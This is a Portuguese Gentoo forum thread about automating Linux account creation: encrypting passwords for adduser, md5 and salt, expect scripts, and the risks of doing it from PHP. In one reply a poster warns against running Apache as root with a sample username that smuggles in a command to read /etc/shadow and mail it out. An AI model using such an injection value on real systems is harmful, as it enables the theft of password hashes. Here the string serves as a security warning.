# Script para adicionar usuario

## raragao

Eu gostaria de fazer um script para adicionar usuários automaticamente, pois o postfix não faz isso. Quando fui utilizar o comando adduser com a opção -p percebi que a senha que tenho que passar já tem que estar encriptada.... como faço para obter a senha encriptada ?

Outra coisa é como posso fazer pra criar um script que modifique a senha sem parar pra perguntar ? Ou seja, passo como parametro a senha e o script muda automaticamente.

Obrigado.

----------

## PT_LAmb

Vivas,

Não conheço nenhum script que faça o que pedes, no entanto é muito provável que exista um.

Em alternativa a encontrar esse tal script podes sempre fazer um programita em C muito simples, que utiliza funções como a crypt(3) para encriptar a password e provavelmente uma outra que possa estar documentada na Glibc para alterar/extrair informações do utilizador.

Vamos se alguém no forum se lembra de algo mais fácil de fabricar ou utilizar (caso já esteja feito).

Boa sorte,

Ricardo Cordeiro  :Smile: 

PS - link interessante

----------

## humpback

as passwords em gentoo são md5sums. Existe o superadduser que é um pouco melhor....

----------

## lmpinto

À falta de melhor crias a conta com o adduser ou superadduser, e crias um script em expect(1) para te mudar a password do utilizador. Caso vás pelo superadduser não te livras do expect (sempre podes experimentar a por os valores que queres num ficheiro, e experimentar um 'cat ficheiro | superadduser', mas pode não dar). Acho que a tua melhor hipotese será mesmo criares o utilizador com o adduser normal, mesmo que seja com um hash invalido como password, e depois alterá-la com um script com expect. Se tiveres duvidas acerca do expect investiga o autoexpect.

----------

## PT_LAmb

Vivas,

 *humpback wrote:*   

> as passwords em gentoo são md5sums. Existe o superadduser que é um pouco melhor....

 pensava que a crypt(3) tambem codificava em md5. Nesse caso qual é a função para o md5?

Desde já obrigado,

Ricardo Cordeiro  :Smile: 

----------

## humpback

 *PT_LAmb wrote:*   

> Vivas,
> 
>  *humpback wrote:*   as passwords em gentoo são md5sums. Existe o superadduser que é um pouco melhor.... pensava que a crypt(3) tambem codificava em md5. Nesse caso qual é a função para o md5?
> 
> Desde já obrigado,
> ...

 

Hmmmm pois..... Ai não sei. Em scripts que ja fiz usei o md5sum

----------

## To

Tinha um script todo pipi em ncurses, que era um pouco um frontend entre o adduser e o passwd, para adicionar users. Se encontrar isso eu ponho aqui o link para o site dele.

Tó

EDITED: btw scripts em PHP para adicionar users? Palpita-me a problemas de segunrança...

----------

## lmpinto

 *humpback wrote:*   

>  *PT_LAmb wrote:*   Vivas,
> 
>  *humpback wrote:*   as passwords em gentoo são md5sums. Existe o superadduser que é um pouco melhor.... pensava que a crypt(3) tambem codificava em md5. Nesse caso qual é a função para o md5?
> 
> Desde já obrigado,
> ...

 

Isso é muito bom quando estás a usar a tua própria autenticação. Se usares o /etc/{passwd|shadow} tens de ter em atenção o salt.

----------

## humpback

 *To wrote:*   

> 
> 
> EDITED: btw scripts em PHP para adicionar users? Palpita-me a problemas de segunrança...

 

tudo depende do que está em volta do tal script e do que ele faz.

O php não é uma linguaguem nem mais nem menos segura que C ou Perl. O passwd é uma aplicação relativamente segura, mas se tu estiveres a usar telnet para aceder a shell a segurança cai.

Regra geral o problema dos scripts PHP (ou CGI's) está na falta de conhecimentos na área de segurança de quem os faz.

----------

## To

 *lmpinto wrote:*   

> Tó - dizes que isto é possível de se fazer em php, mas como? Não me lembro de nenhuma hipótese de correr o adduser ou o passwd como root sem ter ou o httpd a correr como root, ou o php a correr como cgi com o suexec, que julgo que nao funciona para o root... (não me lembro se dá para configurar dar ou não para o root)... Seja como for, este tipo de coisas não o faria em php, faria em perl. Em perl pode-se usar o suexec, ou um script setuid com o suidperl... Se bem que a diferença de complexidade entre perl e php também não é pequena...

 

Uma hipotese, podes definir um vhost e dentro desse vhost o user e group do apache. O apache a correr como root e já estas a ver o resto.

Outra hipotese, o PHP a correr em modo CGI e com o suexec. 

Mas volto a dizer o que digo desde o ínicio do post. Queres adicionar users numa maquina? 

1. ssh -l vosso_username ip_da_maquina

2. su -

3. Escolham entre por exemplo adduser ou superadduser

Tó

----------

## pilla

O bate-boca foi pra cá; por favor, mantenham-se dentro dos tópicos das threads e evitem essas criancices. O fórum Português anda muito bagunçado, está até parecendo o Off the Wall. Aliás, pior.

----------

## lmpinto

 *To wrote:*   

> 
> 
> Uma hipotese, podes definir um vhost e dentro desse vhost o user e group do apache. O apache a correr como root e já estas a ver o resto.
> 
> Outra hipotese, o PHP a correr em modo CGI e com o suexec. 
> ...

 

Tudo bem - mas a primeira alternativa dá-me calafrios - é só esperar pelo primeiro utilizador chamado 'teste";cat /etc/shadow | mail xpto@hotmail.com'  :Smile: 

Quanto à segunda - eu acho que o raragao queria uma coisa um bocado mais automatizada, que nao o obrigue a ser ele a fazer isso  :Smile: 

Quanto ao adduser/superadduser, o problema nao está ai (embora pessoalmente aconselhe o adduser -- o superadduser, por ser interactivo, trás complexidade adicional) - está mesmo na geração da password. Em php existe o código que já mencionei em cima. Para perl tb ha qualquer coisa desse tipo. À falta de melhor, usa-se expect (todos os anos, no inicio do ano lectivo, tenho de criar cerca de 100 contas - essa criação passa por operações feitas em 3 máquinas diferentes - um script em expect, primeiro gerado com o autoexpect e depois editado à mão toma perfeitamente conta do recado)

----------

